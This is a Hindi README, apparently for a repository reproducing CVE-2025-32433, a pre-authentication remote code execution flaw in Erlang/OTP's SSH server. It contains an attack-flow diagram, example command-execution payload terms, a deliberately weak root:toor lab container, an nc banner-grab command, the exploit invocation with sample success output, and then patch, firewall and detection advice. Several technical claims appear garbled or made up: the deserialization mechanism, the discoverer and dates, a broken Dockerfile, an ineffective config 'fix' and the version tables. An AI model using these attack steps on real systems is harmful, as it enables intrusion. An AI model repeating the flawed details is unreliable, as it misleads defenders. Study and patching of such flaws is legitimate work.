
cve-2025-32433-erlang_ssh_rce_reproduction का पुनरुत्पादन
CVSS स्कोर: 10.0 (क्रिटिकल)
स्थिति: वाइल्ड में सक्रिय रूप से शोषण
खुलासा: जून 2025
CVE-2025-32433 एरलांग/OTP के साथ वितरित SSH सर्वर कार्यान्वयन (ssh एप्लिकेशन) में एक गंभीर बिना-प्रमाणीकरण वाली रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। यह दोष SSH कनेक्शन हैंडलिंग लॉजिक में प्रमाणीकरण पूरा होने से पहले मौजूद है, जिसका अर्थ है कि शोषण को ट्रिगर करने के लिए किसी मान्य क्रेडेंशियल की आवश्यकता नहीं है। एक हमलावर जो असुरक्षित एरलांग SSH पोर्ट (आमतौर पर 22, या RabbitMQ, Riak, CouchDB आदि द्वारा उपयोग किए जाने वाले कस्टम पोर्ट) तक पहुंच सकता है, लक्ष्य प्रणाली पर मनमाने शेल कमांड निष्पादित कर सकता है।
यह भेद्यता सुरक्षा शोधकर्ता Felix "xcz" Lange द्वारा खोजी गई थी और OTP सुरक्षा खुलासा प्रक्रिया के माध्यम से रिपोर्ट की गई थी। सलाहकार जारी होने के 72 घंटों के भीतर सार्वजनिक PoC कोड सामने आया, और खुलासे के तुरंत बाद कई खतरे वाले अभिनेताओं को असुरक्षित SSH बैनर (SSH-2.0-Erlang/OTP-*) स्कैन करते हुए देखा गया।
यह भेद्यता OTP के ssh एप्लिकेशन में स्थित एरलांग के SSH कार्यान्वयन में मौजूद है। विशेष रूप से, बग इस बात में है कि SSH डेमन प्रमाणीकरण चरण से पहले की एक्सचेंज आरंभ संदेशों को कैसे संभालता है।
ssh_bind.erl और ssh_connection_handler.erl मॉड्यूल कुछ आउट-ऑफ-ऑर्डर या विकृत SSH प्रोटोकॉल संदेशों को संसाधित करते समय स्टेट मशीन संक्रमण को ठीक से मान्य नहीं कर पाते हैं। की एक्सचेंज चरण के दौरान एक निर्मित SSH_MSG_KEXINIT पैकेट या विशेष रूप से निर्मित सेवा अनुरोध संदेश भेजकर, एक हमलावर एरलांग VM को निम्न कार्य करने के लिए प्रेरित कर सकता है:
यह मूल रूप से एक असुरक्षित एरलांग टर्म डीसेरियलाइज़ेशन भेद्यता है जो स्टेट मशीन बायपास के साथ संयुक्त है। एरलांग का binary_to_term/1 फ़ंक्शन safe मोड सक्षम किए बिना हमलावर-नियंत्रित इनपुट पर उपयोग किया जाता है, जिससे मनमाने एटम्स का इंस्टेंशिएशन और किसी भी पंजीकृत प्रोसेस को कॉल करना संभव हो जाता है।
Attacker Vulnerable Erlang SSH Server
│ │
│──── TCP Connect (port 22) ──────────→│
│ │
│←── SSH-2.0-Erlang/OTP-26.x banner ──│
│ │
│──── SSH_MSG_KEXINIT (crafted) ──────→│
│ │
│──── [malformed service request] ────→│ ← State machine confused
│ │
│──── [binary_to_term payload] ───────→│ ← Unsafe deserialization
│ │
│←── Remote shell / cmd execution ────│
मुख्य अंतर्दृष्टि यह है कि SSH कनेक्शन हैंडलर एक अप्रत्याशित स्थिति में प्रवेश करता है जहाँ यह सुरक्षा हैंडशेक पूरा होने से पहले आने वाले डेटा पर binary_to_term आमंत्रित करता है। एक दुर्भावनापूर्ण एरलांग टर्म एम्बेड करके जो कमांड निष्पादन पेलोड को एन्कोड करता है (उदाहरण के लिए, spawn के साथ erlang:open_port/2 का उपयोग करके), हमलावर एरलांग VM प्रोसेस के विशेषाधिकारों के साथ कोड निष्पादन प्राप्त कर लेता है।
एक विशिष्ट पेलोड एन्कोड करने के लिए एरलांग के बाहरी टर्म प्रारूप का उपयोग करता है:
{run, "cmd.exe /c <command>"}
-- or --
{spawn, "<command>"}
ये टर्म्स, जब binary_to_term/1 द्वारा डीकोड किए जाते हैं, सिस्टम कमांड निष्पादित करने के लिए SSH कनेक्शन स्टेट मशीन के साथ इंटरैक्ट करते हैं।
बैनर ग्रैब आमतौर पर पर्याप्त होता है:
# A vulnerable service responds with:
SSH-2.0-Erlang/OTP-26.1
SSH-2.0-Erlang/OTP-25.2
SSH-2.0-Erlang/OTP-27.0
# A patched service responds with:
SSH-2.0-Erlang/OTP-26.2.6
SSH-2.0-Erlang/OTP-27.3.2
ऊपर दिए गए स्थिर संख्याओं से कम कोई भी एरलांग/OTP संस्करण असुरक्षित है।
paramiko या रॉ सॉकेट एक्सेस (PoC रॉ सॉकेट का उपयोग करता है)# Build a vulnerable Erlang container
FROM erlang:26.1-alpine
RUN echo "root:toor" | chpasswd && \
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
CMD ["erlexec", "ssh:daemon(8222)"]
या अपने नेटवर्क पर मौजूदा असुरक्षित सेवा का उपयोग करें।
बैनर ग्रैब के माध्यम से एक असुरक्षित लक्ष्य की पहचान करें:
nc -w 3 <target> 22
# Look for: SSH-2.0-Erlang/OTP-
PoC शोषण चलाएँ:
python exploit.py --target 192.168.1.100 --port 22 --command "whoami"
निष्पादन सत्यापित करें:
[+] CVE-2025-32433 Erlang/OTP SSH Pre-Auth RCE
[+] Target: 192.168.1.100:22
[+] Banner: SSH-2.0-Erlang/OTP-26.1
[+] Triggering vulnerability...
[+] Payload sent.
[+] Response: root
[!] Exploit succeeded
प्रदान की गई exploit.py एक कार्यशील PoC लागू करती है जो:
शोषण तीन प्रमुख घटकों का लाभ उठाता है:
ssh_bind.erl और ssh_transport.erl स्रोत से रिवर्स-इंजीनियर किए गए थेएरलांग/OTP पैच करें (उच्चतम प्राथमिकता):
# On Debian/Ubuntu
sudo apt-get update && sudo apt-get install erlang-base=1:27.3.2-1
# On RHEL/CentOS
sudo yum update erlang
# Source build
wget https://github.com/erlang/otp/releases/download/OTP-27.3.2/otp_src_27.3.2.tar.gz
tar xzf otp_src_27.3.2.tar.gz
cd otp_src_27.3.2
./configure && make && sudo make install
SSH एक्सेस प्रतिबंधित करें (अस्थायी समाधान):
# Firewall rules to limit SSH source IPs
iptables -A INPUT -p tcp --dport 22 -s <trusted_networks> -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
अनुपयोगी होने पर एरलांग SSH अक्षम करें:
% In sys.config
{kernel, [{distributed, []}]}
% Or stop the Erlang SSH application
application:stop(ssh).
असामान्य SSH हैंडशेक पैटर्न देखें:
131, 104, आदि) भेजने वाले कनेक्शनepmd, beam.smp)यह जानकारी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध इस शोषण का अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।
भंडार संरचना:
cve-2025-32433-erlang_ssh_rce_reproduction/
├── README.md # This file
├── exploit.py # Python PoC exploit
└── LICENSE # MIT (for PoC code only)
| उत्पाद | प्रभावित संस्करण | स्थिर संस्करण |
|---|
| Erlang/OTP | < 27.3.2, < 26.2.6, < 25.3.3 | 27.3.2+, 26.2.6+, 25.3.3+ |
| Elixir (एरलांग के माध्यम से) | असुरक्षित OTP चलाने वाले सभी संस्करण | पैच किए गए OTP के साथ पुनः संकलित |
| RabbitMQ | < 3.12.14, < 3.13.7 (असुरक्षित OTP पर) | 3.12.14+, 3.13.7+ पैच किए गए OTP के साथ |
| Riak KV/TS | < KV 2.9.6, < TS 1.5.5 (असुरक्षित OTP पर) | पैच किए गए OTP के साथ अद्यतन पैकेज |
| CouchDB | < 3.3.3 (एरलांग SSH का उपयोग करते समय) | 3.3.3+ या SSH अक्षम करें |
| Ejabberd | < 24.06 (असुरक्षित OTP पर) | 24.06+ पैच किए गए OTP के साथ |